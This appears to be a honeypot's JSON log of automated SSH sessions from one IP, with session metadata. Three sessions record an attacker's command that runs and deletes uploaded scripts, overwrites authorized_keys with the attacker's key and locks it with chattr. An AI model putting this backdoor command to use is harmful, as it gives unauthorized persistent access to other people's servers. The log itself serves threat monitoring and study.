[ { "id": "21a6be9d-04e1-44e7-a6fa-1e58ed3cf3d4", "name": "smooth-wandering-oryx", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "77.90.185.20", "src_port": 57298, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n", "started_at": "2026-08-25T14:30:34.810048+00:00", "ended_at": "2026-08-25T14:30:35.596959+00:00", "ended_reason": "exec complete", "commands": 8, "transcript_bytes": 994 }, { "id": "a663df6a-3175-4f21-a8f3-98df8a9e9874", "name": "sullen-buoyant-serval", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 4148, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-25T14:29:57.219319+00:00", "ended_at": "2026-08-25T14:30:03.038732+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 }, { "id": "3e913b3c-41e4-48f3-b32e-3fd55f6e8b15", "name": "woven-gentle-raven", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 3330, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-25T14:29:44.987768+00:00", "ended_at": "2026-08-25T14:29:49.318864+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 }, { "id": "b85c6072-5d57-4193-83e4-3390d8133dc4", "name": "quaint-chilly-meerkat", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 30154, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-25T14:29:31.446804+00:00", "ended_at": "2026-08-25T14:29:36.950036+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 }, { "id": "1a89d4f8-6eb1-4402-9cb6-68a4cbd7f36d", "name": "nautical-foggy-cormorant", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "77.90.185.20", "src_port": 26150, "username": "manager", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n", "started_at": "2026-08-23T00:43:29.794697+00:00", "ended_at": "2026-08-23T00:43:29.948066+00:00", "ended_reason": "exec complete", "commands": 8, "transcript_bytes": 1050 }, { "id": "ad46cfe7-6a1b-4079-a325-99aa0fd71bed", "name": "fierce-downy-sable", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 42322, "username": "manager", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-23T00:42:51.676658+00:00", "ended_at": "2026-08-23T00:42:57.830046+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 }, { "id": "718e635e-fabf-494d-9c57-f4c352a9e062", "name": "zealous-canny-kiwi", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 57204, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-23T00:42:38.462447+00:00", "ended_at": "2026-08-23T00:42:43.716833+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 }, { "id": "887eaa91-63fe-4f32-a99e-63c0fb876a6f", "name": "scarlet-wry-otter", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 54696, "username": "alex", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-23T00:42:26.189604+00:00", "ended_at": "2026-08-23T00:42:30.714798+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 }, { "id": "87c2eb28-34f2-44c9-9d94-210ae924165b", "name": "crimson-nimble-meerkat", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "77.90.185.20", "src_port": 57926, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n", "started_at": "2026-08-20T07:29:14.913545+00:00", "ended_at": "2026-08-20T07:29:15.120608+00:00", "ended_reason": "exec complete", "commands": 8, "transcript_bytes": 994 }, { "id": "d299a9a1-82ff-4e38-afbc-85d95924e63a", "name": "nimble-restless-manatee", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 38682, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-20T07:28:39.803430+00:00", "ended_at": "2026-08-20T07:28:45.931498+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 }, { "id": "5fd1e6f4-3152-4f47-a6a8-df55fccb1c21", "name": "muted-lunar-crane", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 32524, "username": "linaro", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-20T07:28:27.076896+00:00", "ended_at": "2026-08-20T07:28:32.132937+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 }, { "id": "23acd5de-7198-4cac-87b5-55dbca241bea", "name": "humble-ancient-vervet", "protocol": "ssh", "channel_kind": null, "src_ip": "77.90.185.20", "src_port": 57514, "username": "admin", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-20T07:28:14.548896+00:00", "ended_at": "2026-08-20T07:28:19.426038+00:00", "ended_reason": "no channel opened", "commands": 0, "transcript_bytes": 0 } ]